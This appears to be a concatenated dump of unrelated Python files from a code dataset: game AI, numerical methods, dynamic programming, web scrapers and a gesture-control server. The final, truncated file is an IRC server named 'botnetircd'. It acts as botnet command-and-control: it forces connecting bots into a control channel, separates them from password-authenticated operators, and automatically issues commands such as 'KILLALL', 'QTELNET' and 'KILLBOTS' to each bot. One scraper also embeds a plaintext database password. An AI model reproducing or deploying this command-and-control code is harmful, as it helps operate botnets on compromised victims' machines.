ARE, THIS MOVE MAY BE THE BEST MOVE FOR THE NEXT DEPTH AS WELL \n - AN OPENING BOOK OF MOVES TO CUT DOWN SEARCH TIME AT THE START OF THE GAME WHERE THERE ARE POSITIONS THAT\n WE SHOULDN'T NEED TO SEARCH ON. \n'''\nclass Player:\n\n def __init__(self, colour):\n # set the colour of the player\n if colour == 'white':\n self.colour = constant.WHITE_PIECE\n elif colour == 'black':\n self.colour = constant.BLACK_PIECE\n\n # each players internal board representation\n self.board = Board()\n\n file_name = input(\"Enter File Name: \")\n # set up the minimax search strategy -- NEGAMAX\n self.minimax = Negamax(self.board, self.colour, file_name)\n\n # set the colour of the opponent\n self.opponent = self.board.get_opp_piece_type(self.colour)\n\n # set up the mini-max return values\n self.depth_eval = 0\n self.minimax_val = 0\n self.policy_vector = 0\n\n # initialise the action book\n self.action_book = ActionBook(self.colour)\n\n def update(self, action):\n # update the board based on the action of the opponent\n if self.board.phase == constant.PLACEMENT_PHASE:\n # update board also returns the pieces of the board that will be eliminated\n self.board.update_board(action, self.opponent)\n self.minimax.update_board(self.board)\n\n elif self.board.phase == constant.MOVING_PHASE:\n if isinstance(action[0], tuple) is False:\n print(\"ERROR: action is not a tuple\")\n return\n\n # get the \"to\" square direction using the provided positions\n move_type = self.board.convert_coord_to_direction(action[0], action[1])\n\n # update the player board representation with the action\n self.board.update_board((action[0], move_type), self.opponent)\n\n def action(self, turns):\n\n # update the negamax/minimax board representation\n self.minimax.update_board(self.board)\n\n # reset the move counter of the board\n if turns == 0 and self.board.phase == constant.MOVING_PHASE:\n self.board.move_counter = 0\n self.board.phase = constant.MOVING_PHASE\n\n # check the action book to see if there is a state\n board_state = self.board.board_state\n if self.board.phase == constant.PLACEMENT_PHASE:\n action = self.action_book.check_state(board_state)\n\n if action is not None:\n # return the action found and update the board representations\n self.board.update_board(action, self.colour)\n self.minimax.update_board(self.board)\n return action\n\n # if there is no found state in the action book, therefore we just do a negamax search\n\n best_move = self.minimax.itr_negamax()\n\n self.depth_eval = self.minimax.eval_depth\n self.minimax_val = self.minimax.minimax_val\n\n # do an alpha beta search on this node\n # once we have found the best move we must apply it to the board representation\n if self.board.phase == constant.PLACEMENT_PHASE:\n self.board.update_board(best_move, self.colour)\n self.minimax.update_board(self.board)\n return best_move\n else:\n # if we are in moving phase, return the correctly formatted positions\n if best_move is None:\n return None\n new_pos = Board.convert_direction_to_coord(best_move[0], best_move[1])\n self.board.update_board(best_move, self.colour)\n self.minimax.update_board(self.board)\n return best_move[0], new_pos","sub_path":"Players/Player_weights.py","file_name":"Player_weights.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"322201710","text":"import numpy as np\nimport scipy.linalg as sla\n\n\ndef broyden(x, y, fs, Js): \n f = fs(x, y)\n J = Js(x, y)\n \n iters = 1\n while np.linalg.norm(f) > 10**(-10):\n iters += 1\n \n s = sla.solve(J, -1*f)\n \n x += s[0]\n y += s[1]\n \n newf = fs(x,y)\n J += (np.outer ((newf - f - np.dot(J,s)),s)) / (np.dot(s,s))\n f = newf\n \n return x, y, iters\n \nif __name__ == \"__main__\":\n \n # funtion \n def f(x,y):\n return np.array([x + 2.*y - 2., x**2. + 4.*y**2. - 4.])\n \n # Jaboci\n def J(x,y):\n return np.array([[1., 2.], [2., 16.]])\n\n # init guess\n x0, y0 = 1., 2.\n x, y, n = broyden(x0, y0, f, J)\n print(\"x and y: \", x, y)\n print(\"iterations: \", n)","sub_path":"root_finding/broyden.py","file_name":"broyden.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"617088051","text":" \n\"\"\"\nEstructura de datos y algoritmos 1\nLaboratorio 5\nPunto 2.1\nSebastian Castaño Orozco 201610054014\nDennis Castrillón Sepúlveda 201610035014\n\n\"\"\"\n\nimport numpy as np\n\nclass Graph:\n def __init__(self, size):\n self.size = size\n aux = []\n matriz = []\n for i in range(self.size+1):\n aux = []\n for j in range(self.size+1):\n aux.append(None)\n matriz.append(aux)\n array = np.array(matriz)\n self.matriz = array\n\n def addArc(self, vertex, edge, weight=1):\n vertex_exist = False\n edge_exist = False\n fila = None\n columna = None\n for i in range(1,len(self.matriz),1): \n if vertex == self.matriz[0][i]:\n vertex_exist = True\n if edge == self.matriz[0][i]:\n edge_exist = True\n if vertex_exist == False:\n for i in range(1,len(self.matriz),1):\n if self.matriz[0][i] == None:\n self.matriz[0][i] = vertex\n self.matriz[i][0] = vertex\n break\n if edge_exist == False: \n for i in range(1,len(self.matriz),1):\n if self.matriz[0][i] == None:\n self.matriz[0][i] = edge\n self.matriz[i][0] = edge\n break\n for i in range(len(self.matriz)):\n if self.matriz[i][0] == vertex:\n fila = i\n if self.matriz[0][i] == edge:\n columna = i\n self.matriz[fila][columna] = weight\n self.matriz[columna][fila] = weight\n return (self.matriz)\n\nn = int(input(\"Ingrese número de nodos: \"))\ng = Graph(n)\narcos = int(input(\"Ingrese número de arcos: \"))\nfor i in range(arcos):\n arcos_pares = str(input(\"Ingrese arco (Nodo inicial seguido por nodo final Ej: 23): \"))\n vert1 = arcos_pares[0]\n vert2 = arcos_pares[1]\n b = g.addArc(vert1,vert2)\na = b[1:,1:]\ncolores = True\nfor i in range(len(a)):\n for j in range(len(a)-1):\n if a[i][j] == a[i][j+1]:\n colores = False\n\nif colores == True:\n print(\"Los nodos del grafo:\\n \" + str(b) + \"\\n pueden ser coloreados con dos colores\")\nelse:\n print(\"Los nodos del grafo:\\n \" + str(b) + \"\\n NO pueden ser coloreados con dos colores\")","sub_path":"laboratorios/lab05/ejercicioEnLinea/Lab5_Punto2.1.py","file_name":"Lab5_Punto2.1.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"409698090","text":"\n\ndef fib1(n):\n if n <= 2:\n return 1\n else:\n return fib1(n-1)+fib1(n-2)\n\n\ndef fib2(n):\n a = 1\n b = 1\n c = a + b\n for i in range(n):\n a =b\n b = c\n c = a + b\n return a\n\ndef fib3(n,a,b,c):\n if n==0:\n return a\n else:\n return fib3(n-1,b,c,b+c)\n\nftable = {}\ndef fib4(n):\n if n <= 2:\n return 1\n elif n in ftable.keys():\n return ftable[n]\n else:\n result = fib4(n-1)+fib4(n-2)\n ftable[n]=result\n return result\n \n#for i in range(1,100):\n# print(fib4(i))\n\nimport random\n\n\nvalues = [60,100,120]\nweights = [10,20,30]\nn = len(values)\nW=50\n\nvalues = [random.randrange(10,100) for x in range(800)]\nweights = [random.randrange(10,100) for x in range(800)]\nn = len(values)\nW=50\n\ndef knapsack(W,wts,vals,n):\n if n==0 or W==0:\n return 0\n\n if wts[n-1] > W:\n return knapsack(W,wts,vals,n-1)\n else:\n v1 = vals[n-1] + knapsack(W-wts[n-1],wts,vals,n-1)\n v2 = knapsack(W,wts,vals,n-1)\n m = max(v1,v2)\n return m\n\ndef mknapsack(W,wts,vals,n,table):\n k = str(W)+','+str(n)\n if k in table:\n return table[k]\n \n if n==0 or W==0:\n return 0\n\n if wts[n-1] > W:\n value=mknapsack(W,wts,vals,n-1,table)\n table[k]=value\n return value\n else:\n v1 = vals[n-1] + mknapsack(W-wts[n-1],wts,vals,n-1,table)\n v2 = mknapsack(W,wts,vals,n-1,table)\n m = max(v1,v2)\n table[k]=m\n return m\n\nans = knapsack(W,weights,values,n)\nprint(ans)\n\nans = mknapsack(W,weights,values,n,{})\nprint(ans)\n\n","sub_path":"classcode/dynamic-prog-intro.py","file_name":"dynamic-prog-intro.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"494399008","text":"\r\n\"\"\"naive solution\r\n\r\nTry all relevant paths, each keeping track of where it came from so that it\r\ndoesn't retrace itself.\r\n\"\"\"\r\n\r\n\r\nfrom typing import List\r\n\r\n\r\n# leetcode.com boilerplate\r\nclass Solution:\r\n def exist(self, board: List[List[str]], word: str) -> bool:\r\n return grid_contains(board, word)\r\n\r\n\r\ndef grid_contains(grid, word):\r\n if len(grid) == 0 or len(grid[0]) == 0:\r\n return False\r\n\r\n M = len(grid)\r\n N = len(grid[0])\r\n\r\n return any(path_exists(grid, set(), (i, j), word)\r\n for i in range(M) for j in range(N))\r\n\r\n\r\ndef path_exists(grid, history, point, suffix):\r\n i, j = point\r\n # print(f'Looking at {point} ({grid[i][j]}) for suffix {repr(suffix)}. History is {history}.')\r\n\r\n char = suffix[0]\r\n M = len(grid)\r\n N = len(grid[0])\r\n\r\n if grid[i][j] != char:\r\n return False\r\n\r\n if len(suffix) == 1:\r\n return True\r\n\r\n return any(path_exists(grid, history | set([point]), neighbor, suffix[1:])\r\n for neighbor in candidate_points(history, point, M, N))\r\n\r\n\r\ndef candidate_points(history, point, M, N):\r\n i, j = point\r\n points = set()\r\n\r\n # left\r\n if j > 0:\r\n points.add((i, j - 1))\r\n # above\r\n if i > 0:\r\n points.add((i - 1, j))\r\n # right\r\n if j < N - 1:\r\n points.add((i, j + 1))\r\n # below\r\n if i < M - 1:\r\n points.add((i + 1, j))\r\n\r\n result = points - history\r\n # print(f'Found candidate neighbor points: {result}.')\r\n return result","sub_path":"word-search/naive.py","file_name":"naive.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"517153620","text":"import mysql.connector\n\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\n\nconn=mysql.connector.connect(user='root',password='Paruchuru@1997',host='localhost',database='stock')\nmycursor=conn.cursor()\nsql = \"INSERT INTO Finances(fin_ticker,total_revenue,cost_of_revenue,income_before_tax,Net_income) VALUES (%s,%s,%s,%s,%s)\"\nind=0\nlist=['ACB','EOLS','VEEV','BMY','CRON','TWTR']\nlist1 =['Aurora Cannabis Inc.','Evolus Inc.','Veeva Systems Inc.','Bristol-Myers Squibb Company','Cronos Group Inc.','Twitter Inc.']\nwhile ind 1):\n times.append(v[1].split('\"')[1])\n\n bids = []\n\n for p in soup.find(\"dataset\", attrs={\"color\": \"A66EDD\"}):\n v = unicode(p).strip().split('=')\n if (len(v) > 1):\n bids.append(v[1].split('\"')[1])\n\n asks = []\n\n for p in soup.find(\"dataset\", attrs={\"color\": \"F6BD0F\"}):\n v = unicode(p).strip().split('=')\n if (len(v) > 1):\n asks.append(v[1].split('\"')[1])\n\n bid = bids[len(bids) - 1].strip()\n if not bid: \n bid = \"-\"\n ask = asks[len(asks) - 1].strip()\n if not ask:\n ask = \"-\"\n \n print(\"%s %s %s\" % (bid, ask, times[len(times) - 1].strip()))\nexcept Exception as e:\n print(e)\n\n\n","sub_path":"mezhbank.py","file_name":"mezhbank.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"148888837","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# ------------------------------------------ Import models & files ------------------------------------------ #\n#mqtt modules\nimport paho.mqtt.client as mqtt\nimport paho.mqtt.publish as publish\n#PIL for pillow used to crop image and whatnot;\nfrom PIL import Image\nimport base64\nimport time\n#VGG16 Neural Network modules\nfrom keras.preprocessing import image\nfrom keras.applications.vgg16 import VGG16\nfrom keras.applications.vgg16 import preprocess_input\nfrom keras.models import Model\nfrom joblib import load\nfrom PIL import Image\nimport numpy as np\nimport cv2\nimport sys\nimport pyautogui\nimport socket\n\nsys.path.insert(0,'Finger_Detection') #A list of strings that specifies the search path for modules\nfrom crop import generate_crop\nfrom finger_control import finger_control_f\n\n# ------------------------------------------ SOCKET Functions ------------------------------------------ #\n\nstrbroker = \"192.168.1.25\" #NOT SURE WHAT THIS IS?\ntServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n#socket.AF_INET = address and protocol families (IPv4)\n#socket.SOCK_STREAM = socket type (TCP)\n##BOTH OF THESE ARE CONSTANTS\n#This serves to create the socket. \ntServer.bind(('192.168.1.26', 8000)) #pi ip address\ntServer.listen(0)\nconnect,addr = tServer.accept()\n\nstep_size = 20\nbinary_thre = 180\nsize = np.pi/6 #used to be pi/6 but perhaps pi/4 is a better \nbrightness_thre = 50\n\n# ------------------------------------------ MQTT Functions ------------------------------------------ #\n\n#MQTT is always between client and broker\n#client sends a connect message to the broker and the broker responds with a CONNACK message and status back\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n client.subscribe(\"image\")\n\n#once the connection is established, broker keeps connection opne until a disconnect commnand is sent.\n#callback for when publish message is received from the server\ndef on_message(client, userdata, msg):\n global obj, command_in, down_confirm,x_ref,y_ref, k_ref, mid_ref\n \n \n if msg.topic == 'image': \n t1 = time.time()\n with open('1.png', \"wb\") as fh:\n fh.write(base64.decodebytes(msg.payload))\n info=connect.recv(1024)\n info = info.decode()\n print('Get control signal:',info)\n \n #doesn't matter from here\n if info == 'rec':\n command_in = False\n down_confirm = False\n x_ref = None\n y_ref = None\n k_ref = None\n\n print('Doing classification.')\n test_set = []\n img_crop,img_bk = generate_crop('1.png',220)\n #\n img_bk,k,top,mid,control_signal,x_mid = finger_control_f('1.png',binary_thre, 5,-70,3)\n \n #cv2.imshow('Binary Image', img_bk)\n cv2.waitKey(3)\n \n cv2.imwrite('2nd_step.jpg',img_crop)\n \n img = image.load_img('2nd_step.jpg', target_size=(224, 224))\n img_data = image.img_to_array(img)\n img_data = np.expand_dims(img_data, axis=0)\n img_data = preprocess_input(img_data)\n \n vgg16_feature = model.predict(img_data)\n test_set.append(np.ndarray.tolist(vgg16_feature[0]))\n #print(test_set)\n\n if test_set:\n predict_target = clf.predict(test_set)\n print(predict_target.shape)\n print(predict_target.size)\n predict_prob = clf.predict_proba(test_set)\n #print(correct_tag)\n print('predict results.')\n print(clf.classes_)\n print(predict_prob)\n prob = predict_prob[0]\n orderedIndex=sorted(range(len(prob)), key=lambda k: prob[k], reverse=True)\n print(orderedIndex)\n print(\"appliances in order\")\n validNum = 0\n validNum = len([i for i in prob if i > 0.075]) - 1\n print('There are valid object #', validNum)\n # get all the results in order and loop thru\n print(predict_target)\n predict_target=predict_target[0]\n \n for indexCount in orderedIndex:\n print(clf.classes_[indexCount],end=\" \")\n \n \n indexCount = 0\n \n while True:\n print(\"orderedList \",clf.classes_[orderedIndex[indexCount]])\n info_2=connect.recv(1024)\n info_2 = info_2.decode()\n if info_2 == 'ACK':\n print(info_2)\n obj = clf.classes_[orderedIndex[indexCount]]\n break\n elif info_2 == '':\n print('Interrupted.')\n break\n indexCount += 1\n if indexCount > 5:\n indexCount = 0\n connect.sendall(b'ready')\n time.sleep(0.5)\n connect.sendall(b'Doing Con.')\n\n #don't care up until here \n elif info == 'con':\n t2 = time.time()\n #print(obj)\n #print('Con coming soon.')\n \n #img_bk is just image itself\n #top,mid is the coord of fingertip\n #xmid is the intercept that slope makes with frame\n img_bk,k,top,mid,control_signal,x_mid = finger_control_f('1.png',binary_thre, 5,-70,3)\n \n cv2.imwrite('../binary.png',img_bk)\n height,width = img_bk.shape\n t3 = time.time()\n #print(top,mid)\n\n #print(k,x_mid)\n if obj == 'Printer':\n pyautogui.press('a')\n elif obj =='Coffee maker':\n pyautogui.press('b')\n elif obj =='TV':\n pyautogui.press('c')\n elif obj =='Door':\n pyautogui.press('d')\n elif obj =='Minotor':\n pyautogui.press('e')\n\n #print('slope is ',k,'top y value is ',top,' and mid value is ', mid)\n #print('control signal is', control_signal)\n ##############################\n #creating reference photo and compares future images to reference image\n if not x_ref or not y_ref or not k_ref:\n x_ref = mid\n y_ref = top\n mid_ref = x_mid\n if mid == x_mid:\n direction = np.pi/2 - 0.01\n #print(top/(mid-x_mid))\n else:\n direction=np.arctan(top/float((mid-x_mid)))\n k_ref = direction\n connect.sendall(b'Doing Con.')\n else:\n \t#if no finger, then sends a \"down\" flag \n # quite\n if control_signal == 'Down':\n print('down')\n pyautogui.press('m')\n if command_in:\n down_confirm = True\n time.sleep(0.01)\n connect.sendall(b'Doing Con.')\n #print(down_confirm)\n\n\n ##### \n else:\n command_in = True\n print('up')\n pyautogui.press('n')\n\n if mid == x_mid:\n direction = k_ref\n #print(top/(mid-x_mid))\n else:\n direction=np.arctan(top/float((mid-x_mid)))\n print(direction - k_ref)\n print(x_mid - mid_ref)\n\n #mid_ref is xmid of the reference image\n #k_ref = direction is the slope\n #\"//5\" returns the integer digit of the width / 5\n #if xmid coord - midref bigger than width /5\n #width is 224 for this \n #maybe don't include the midref calculations? Moving xmid does not necessarily mean they are pointing at that box \n if (direction - k_ref > size):\n print('block 4')\n block = 8\n pyautogui.press('8')\n elif (direction - k_ref < -size):\n print('block 1')\n block = 2\n pyautogui.press('2')\n elif (direction - k_ref < size) :\n print('block 2')\n block = 4\n pyautogui.press('4')\n elif (direction - k_ref > -size):\n print('block 3')\n block = 6\n pyautogui.press('6')\n #### revise this part\n #trying to integrate using the slope of finger and finger mid to indicate block correctly\n #direction is angle from xmid to top,mid\n #quadrant 4 is actually left side \n #size is alpha from the diagram \n #add time.sleep(time) only to server \n\n\n if down_confirm == True:\n down_confirm = False\n command_in = False\n #connect.sendall(b'Stop Con.')\n connect.sendall(b'Doing Con.')\n else:\n connect.sendall(b'Doing Con.')\n \n \n\n\nlayer = 'fc2'\nbase_model = VGG16(weights='imagenet')\nmodel = Model(inputs=base_model.input, outputs=base_model.get_layer(layer).output)\nclf = load('Finger_Detection/zomlp_classifier_Demo_Pi_Aug.joblib') \n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\n\nclient.connect(strbroker, 1883, 60)\nclient.loop_forever()\n ","sub_path":"LbR Work/server_block_3.py","file_name":"server_block_3.py","file_ext":"py","file_size_in_byte":9966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"362425631","text":"from base import BaseServer\n\nfrom gevent import monkey\nmonkey.patch_all()\n\nfrom gevent.server import StreamServer\n\nIRCD_NAME = \"botnetircd\"\nIRCD_VERSION = \"1.1\"\n\nimport gevent \nimport os\nimport re\nimport select\nimport socket\nimport string\nimport sys\nimport tempfile\nimport time, threading\nfrom datetime import datetime\nfrom optparse import OptionParser\n\ndef create_directory(path):\n\tif not os.path.isdir(path):\n\t\tos.makedirs(path)\n\n\nclass IRCChannel(object):\n\tdef __init__(self, server, name):\n\t\tself.server = server\n\t\tself.name = name\n\t\tself.members = set()\n\t\tself._topic = \"\"\n\t\tself._key = None\n\t\tif self.server.statedir:\n\t\t\tself._state_path = \"%s/%s\" % (\n\t\t\t\tself.server.statedir,\n\t\t\t\tname.replace(\"_\", \"__\").replace(\"/\", \"_\"))\n\t\t\tself._read_state()\n\t\telse:\n\t\t\tself._state_path = None\n\n\tdef add_member(self, client):\n\t\tself.members.add(client)\n\n\tdef get_topic(self):\n\t\treturn self._topic\n\n\tdef set_topic(self, value):\n\t\tself._topic = value\n\t\tself._write_state()\n\n\ttopic = property(get_topic, set_topic)\n\n\tdef get_key(self):\n\t\treturn self._key\n\n\tdef set_key(self, value):\n\t\tself._key = value\n\t\tself._write_state()\n\n\tkey = property(get_key, set_key)\n\n\tdef remove_client(self, client):\n\t\tself.members.discard(client)\n\t\tif not self.members:\n\t\t\tself.server.remove_channel(self)\n\n\tdef _read_state(self):\n\t\tif not (self._state_path and os.path.exists(self._state_path)):\n\t\t\treturn\n\t\tdata = {}\n\t\texec(open(self._state_path), {}, data)\n\t\tself._topic = data.get(\"topic\", \"\")\n\t\tself._key = data.get(\"key\")\n\n\tdef _write_state(self):\n\t\tif not self._state_path:\n\t\t\treturn\n\t\t(fd, path) = tempfile.mkstemp(dir=os.path.dirname(self._state_path))\n\t\tfp = os.fdopen(fd, \"w\")\n\t\tfp.write(\"topic = %r\\n\" % self.topic)\n\t\tfp.write(\"key = %r\\n\" % self.key)\n\t\tfp.close()\n\t\tos.rename(path, self._state_path)\n\n\nclass IRCClient(object):\n\t__linesep_regexp = re.compile(r\"\\r?\\n\")\n\t# The RFC limit for nicknames is 9 characters, but what the heck.\n\t__valid_nickname_regexp = re.compile(\n\t\tr\"^[][\\`_^{|}A-Za-z][][\\`_^{|}A-Za-z0-9-]{0,50}$\")\n\t__valid_channelname_regexp = re.compile(\n\t\tr\"^[&#+!][^\\x00\\x07\\x0a\\x0d ,:]{0,50}$\")\n\n\tdef __init__(self, server, socket):\n\t\tself.server = server\n\t\tself.socket = socket\n\t\tself.channels = {} # irc_lower(Channel name) --> Channel\n\t\tself.nickname = None\n\t\tself.user = None\n\t\tself.realname = None\n\t\t(self.host, self.port) = socket.getpeername()\n\t\tself.__timestamp = time.time()\n\t\tself.__readbuffer = \"\"\n\t\tself.__writebuffer = \"\"\n\t\tself.__sent_ping = False\n\t\tself.bot = True\n\t\tself.__handle_command = self.__pass_handler\n\t\tself.server.name = \"ircd\"\n\n\tdef get_prefix(self):\n\t\treturn \"%s!%s@%s\" % (self.nickname, self.user, self.host)\n\tprefix = property(get_prefix)\n\n\tdef check_aliveness(self):\n\t\tnow = time.time()\n\t\tif self.__timestamp + 180 < now:\n\t\t\tself.disconnect(\"ping timeout\")\n\t\t\treturn\n\t\tif not self.__sent_ping and self.__timestamp + 90 < now:\n\t\t\tif self.__handle_command == self.__command_handler:\n\t\t\t\t# Registered.\n\t\t\t\tself.message(\"PING :%s\" % self.server.name)\n\t\t\t\tself.__sent_ping = True\n\t\t\telse:\n\t\t\t\t# Not registered.\n\t\t\t\tself.disconnect(\"ping timeout\")\n\n\tdef write_queue_size(self):\n\t\treturn len(self.__writebuffer)\n\n\tdef __parse_read_buffer(self):\n\t\tlines = self.__linesep_regexp.split(self.__readbuffer)\n\t\tself.__readbuffer = lines[-1]\n\t\tlines = lines[:-1]\n\t\tfor line in lines:\n\t\t\tif not line:\n\t\t\t\t# Empty line. Ignore.\n\t\t\t\tcontinue\n\t\t\tx = line.split(\" \", 1)\n\t\t\tcommand = x[0].upper()\n\t\t\tif len(x) == 1:\n\t\t\t\targuments = []\n\t\t\telse:\n\t\t\t\tif len(x[1]) > 0 and x[1][0] == \":\":\n\t\t\t\t\targuments = [x[1][1:]]\n\t\t\t\telse:\n\t\t\t\t\ty = string.split(x[1], \" :\", 1)\n\t\t\t\t\targuments = string.split(y[0])\n\t\t\t\t\tif len(y) == 2:\n\t\t\t\t\t\targuments.append(y[1])\n\t\t\tself.__handle_command(command, arguments)\n\n\tdef __pass_handler(self, command, arguments):\n\t\tserver = self.server\n\t\tif command == \"PASS\":\n\t\t\tif len(arguments) == 0:\n\t\t\t\tself.reply_461(\"PASS\")\n\t\t\telse:\n\t\t\t\tif arguments[0].lower() == self.server.password:\n\t\t\t\t\tself.bot = False\n\t\t\t\t\tself.__handle_command = self.__registration_handler\n\t\t\t\telse:\n\t\t\t\t\tself.reply(\"464 :Password incorrect\")\n\t\telif command == \"QUIT\":\n\t\t\tself.disconnect(\"Client quit\")\n\t\t\treturn\n\t\telif command == \"BOT\":\n\t\t\tself.__handle_command = self.__registration_handler\n\t\t\tself.__registration_handler(command, arguments)\n\n\tdef __registration_handler(self, command, arguments):\n\t\tserver = self.server\n\t\tif command == \"NICK\" or command == \"BOT\":\n\t\t\tif command == \"NICK\" and self.bot:\n\t\t\t\treturn\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply(\"431 :No nickname given\")\n\t\t\t\treturn\n\t\t\tnick = arguments[0]\n\t\t\tif server.get_client(nick):\n\t\t\t\tself.reply(\"433 * %s :Nickname is already in use\" % nick)\n\t\t\telif not self.__valid_nickname_regexp.match(nick):\n\t\t\t\tself.reply(\"432 * %s :Erroneous nickname\" % nick)\n\t\t\telse:\n\t\t\t\tself.nickname = nick\n\t\t\t\tserver.client_changed_nickname(self, None)\n\t\telif command == \"USER\":\n\t\t\tif len(arguments) < 4:\n\t\t\t\tself.reply_461(\"USER\")\n\t\t\t\treturn\n\t\t\tself.user = arguments[0]\n\t\t\tself.realname = arguments[3]\n\t\telif command == \"QUIT\":\n\t\t\tself.disconnect(\"Client quit\")\n\t\t\treturn\n\t\tif self.nickname and self.user:\n\t\t\tself.reply(\"001 %s :Welcome to the server, %s\" % (self.nickname, self.nickname))\n\t\t\tif not self.bot:\n\t\t\t\tself.reply(\"002 %s :Your host is %s, running version %s-%s\"\n\t\t\t\t\t\t % (self.nickname, server.name, IRCD_NAME, IRCD_VERSION))\n\t\t\t\tself.reply(\"003 %s :This server was created sometime\"\n\t\t\t\t\t\t % self.nickname)\n\t\t\t\tself.reply(\"004 %s :%s %s-%s o o\"\n\t\t\t\t\t\t % (self.nickname, server.name, IRCD_NAME, IRCD_VERSION))\n\t\t\t\tself.send_lusers()\n\t\t\t\tself.send_motd()\n\t\t\tself.message(\":%s!%s@%s JOIN :%s\" % (self.nickname, self.user, self.host, self.server.botnet_channel))\n\t\t\tself.__command_handler(\"JOIN\", [self.server.botnet_channel])\n\t\t\tif self.bot:\n\t\t\t\tself.message(\":%s!server@%s PRIVMSG %s :!* KILLALL\" % (IRCD_NAME, server.name, self.server.botnet_channel))\n\t\t\t\tself.message(\":%s!server@%s PRIVMSG %s :!* QTELNET\" % (IRCD_NAME, server.name, self.server.botnet_channel))\n\t\t\t\tself.message(\":%s!server@%s PRIVMSG %s :!* KILLBOTS\" % (IRCD_NAME, server.name, self.server.botnet_channel))\n\t\t\tself.__handle_command = self.__command_handler\n\n\tdef __command_handler(self, command, arguments):\n\t\tdef away_handler():\n\t\t\tpass\n\n\t\tdef ison_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply_461(\"ISON\")\n\t\t\t\treturn\n\t\t\tnicks = arguments\n\t\t\tonline = [n for n in nicks if server.get_client(n)]\n\t\t\tself.reply(\"303 %s :%s\" % (self.nickname, \" \".join(online)))\n\n\t\tdef join_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply_461(\"JOIN\")\n\t\t\t\treturn\n\t\t\tif self.bot and arguments[0] != self.server.botnet_channel:\n\t\t\t\treturn\n\t\t\tif arguments[0] == \"0\":\n\t\t\t\tfor (channelname, channel) in self.channels.items():\n\t\t\t\t\tself.message_channel(channel, \"PART\", channelname, True)\n\t\t\t\t\tself.channel_log(channel, \"left\", meta=True)\n\t\t\t\t\tserver.remove_member_from_channel(self, channelname)\n\t\t\t\tself.channels = {}\n\t\t\t\treturn\n\t\t\tchannelnames = arguments[0].split(\",\")\n\t\t\tif len(arguments) > 1:\n\t\t\t\tkeys = arguments[1].split(\",\")\n\t\t\telse:\n\t\t\t\tkeys = []\n\t\t\tkeys.extend((len(channelnames) - len(keys)) * [None])\n\t\t\tfor (i, channelname) in enumerate(channelnames):\n\t\t\t\tif irc_lower(channelname) in self.channels:\n\t\t\t\t\tcontinue\n\t\t\t\tif not valid_channel_re.match(channelname):\n\t\t\t\t\tself.reply_403(channelname)\n\t\t\t\t\tcontinue\n\t\t\t\tchannel = server.get_channel(channelname)\n\t\t\t\tif channel.key is not None and channel.key != keys[i]:\n\t\t\t\t\tself.reply(\n\t\t\t\t\t\t\"475 %s %s :Cannot join channel (+k) - bad key\"\n\t\t\t\t\t\t% (self.nickname, channelname))\n\t\t\t\t\tcontinue\n\t\t\t\tchannel.add_member(self)\n\t\t\t\tself.channels[irc_lower(channelname)] = channel\n\t\t\t\tself.message_channel(channel, \"JOIN\", channelname, True)\n\t\t\t\tself.channel_log(channel, \"joined\", meta=True)\n\t\t\t\tif channel.topic:\n\t\t\t\t\tself.reply(\"332 %s %s :%s\"\n\t\t\t\t\t\t\t % (self.nickname, channel.name, channel.topic))\n\t\t\t\telse:\n\t\t\t\t\tself.reply(\"331 %s %s :No topic is set\"\n\t\t\t\t\t\t\t % (self.nickname, channel.name))\n\t\t\t\tif not self.bot:\n\t\t\t\t\trlnicks = []\n\t\t\t\t\tfor x in channel.members:\n\t\t\t\t\t\tif not x.bot:\n\t\t\t\t\t\t\trlnicks += [\"@\"+x.nickname]\n\t\t\t\t\trlnicks += [\"+\"+IRCD_NAME]\n\t\t\t\t\tself.reply(\"353 %s = %s :%s\"\n\t\t\t\t\t\t\t % (self.nickname,\n\t\t\t\t\t\t\t\t channelname,\n\t\t\t\t\t\t\t\t \" \".join(sorted(rlnicks))))\n\t\t\t\t\tself.reply(\"366 %s %s :End of NAMES list\"\n\t\t\t\t\t\t\t % (self.nickname, channelname))\n\n\t\tdef list_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tchannels = server.channels.values()\n\t\t\telse:\n\t\t\t\tchannels = []\n\t\t\t\tfor channelname in arguments[0].split(\",\"):\n\t\t\t\t\tif server.has_channel(channelname):\n\t\t\t\t\t\tchannels.append(server.get_channel(channelname))\n\t\t\tchannels.sort(key=lambda x: x.name)\n\t\t\tfor channel in channels:\n\t\t\t\tself.reply(\"322 %s %s %d :%s\"\n\t\t\t\t\t\t % (self.nickname, channel.name,\n\t\t\t\t\t\t\t len(channel.members), channel.topic))\n\t\t\tself.reply(\"323 %s :End of LIST\" % self.nickname)\n\n\t\tdef lusers_handler():\n\t\t\tself.send_lusers()\n\n\t\tdef mode_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply_461(\"MODE\")\n\t\t\t\treturn\n\t\t\ttargetname = arguments[0]\n\t\t\tif server.has_channel(targetname):\n\t\t\t\tchannel = server.get_channel(targetname)\n\t\t\t\tif len(arguments) < 2:\n\t\t\t\t\tif channel.key:\n\t\t\t\t\t\tmodes = \"+k\"\n\t\t\t\t\t\tif irc_lower(channel.name) in self.channels:\n\t\t\t\t\t\t\tmodes += \" %s\" % 